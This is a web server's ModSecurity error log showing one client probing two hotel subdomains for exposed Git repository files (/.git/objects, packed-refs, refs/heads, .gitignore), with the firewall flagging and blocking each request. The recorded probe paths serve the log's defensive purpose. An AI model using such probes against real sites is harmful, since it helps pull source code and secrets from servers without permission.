[Sun Oct 25 04:06:22.751147 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at24fp68N771hz7W4KlsTAAAAAw"]
[Sun Oct 25 04:06:22.751796 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at24fp68N771hz7W4KlsTAAAAAw"]
[Sun Oct 25 04:06:22.751998 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at24fp68N771hz7W4KlsTAAAAAw"]
[Sun Oct 25 04:06:22.764480 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at24fgLaiqtlZaJBsx4X1QAAAA0"]
[Sun Oct 25 04:06:22.764615 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at24fgLaiqtlZaJBsx4X1QAAAA0"]
[Sun Oct 25 04:06:22.764867 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at24fgLaiqtlZaJBsx4X1QAAAA0"]
[Sun Oct 25 04:06:22.813684 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at24foHtOs-nfC4GshpRswAAABc"]
[Sun Oct 25 04:06:22.813909 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at24foHtOs-nfC4GshpRswAAABc"]
[Sun Oct 25 04:06:22.814184 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at24foHtOs-nfC4GshpRswAAABc"]
[Sun Oct 25 04:06:22.814322 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at24flTnwNJm6o1fQZIiuQAAAAI"]
[Sun Oct 25 04:06:22.814537 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at24flTnwNJm6o1fQZIiuQAAAAI"]
[Sun Oct 25 04:06:22.814748 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at24flTnwNJm6o1fQZIiuQAAAAI"]
[Sun Oct 25 04:06:22.822156 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at24fqrU4NwppjTEGaL6kgAAAAY"]
[Sun Oct 25 04:06:22.822333 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at24fqrU4NwppjTEGaL6kgAAAAY"]
[Sun Oct 25 04:06:22.822596 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at24fqrU4NwppjTEGaL6kgAAAAY"]
[Sun Oct 25 04:06:22.826531 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at24frQKh4dfs72fmHxv_gAAAAE"]
[Sun Oct 25 04:06:22.826649 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at24frQKh4dfs72fmHxv_gAAAAE"]
[Sun Oct 25 04:06:22.826854 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at24frQKh4dfs72fmHxv_gAAAAE"]
[Sun Oct 25 04:06:22.846859 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at24fi7GhhaIo05efijDJQAAAAc"]
[Sun Oct 25 04:06:22.847027 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at24fi7GhhaIo05efijDJQAAAAc"]
[Sun Oct 25 04:06:22.847243 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at24ftxXWZMI2DaSlsHxOgAAABY"]
[Sun Oct 25 04:06:22.847306 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at24fi7GhhaIo05efijDJQAAAAc"]
[Sun Oct 25 04:06:22.847408 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at24ftxXWZMI2DaSlsHxOgAAABY"]
[Sun Oct 25 04:06:22.847637 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at24ftxXWZMI2DaSlsHxOgAAABY"]
[Sun Oct 25 04:06:22.848256 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at24fp68N771hz7W4KlsTQAAAAw"]
[Sun Oct 25 04:06:22.848384 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at24fp68N771hz7W4KlsTQAAAAw"]
[Sun Oct 25 04:06:22.848608 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at24fp68N771hz7W4KlsTQAAAAw"]
[Sun Oct 25 04:06:22.849600 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at24fgLaiqtlZaJBsx4X1gAAAA0"]
[Sun Oct 25 04:06:22.849720 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at24fgLaiqtlZaJBsx4X1gAAAA0"]
[Sun Oct 25 04:06:22.849968 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at24fgLaiqtlZaJBsx4X1gAAAA0"]
[Sun Oct 25 04:06:22.891710 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at24foHtOs-nfC4GshpRtAAAABc"]
[Sun Oct 25 04:06:22.891869 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at24foHtOs-nfC4GshpRtAAAABc"]
[Sun Oct 25 04:06:22.892131 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "at24foHtOs-nfC4GshpRtAAAABc"]
[Sun Oct 25 04:06:23.103261 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at24f568N771hz7W4KlsUAAAAAw"]
[Sun Oct 25 04:06:23.103407 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at24f568N771hz7W4KlsUAAAAAw"]
[Sun Oct 25 04:06:23.103630 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at24f568N771hz7W4KlsUAAAAAw"]
[Sun Oct 25 04:06:23.165467 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at24f4HtOs-nfC4GshpRtwAAABc"]
[Sun Oct 25 04:06:23.165691 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.gitignore"] [unique_id "at24f4HtOs-nfC4GshpRtwAAABc"]
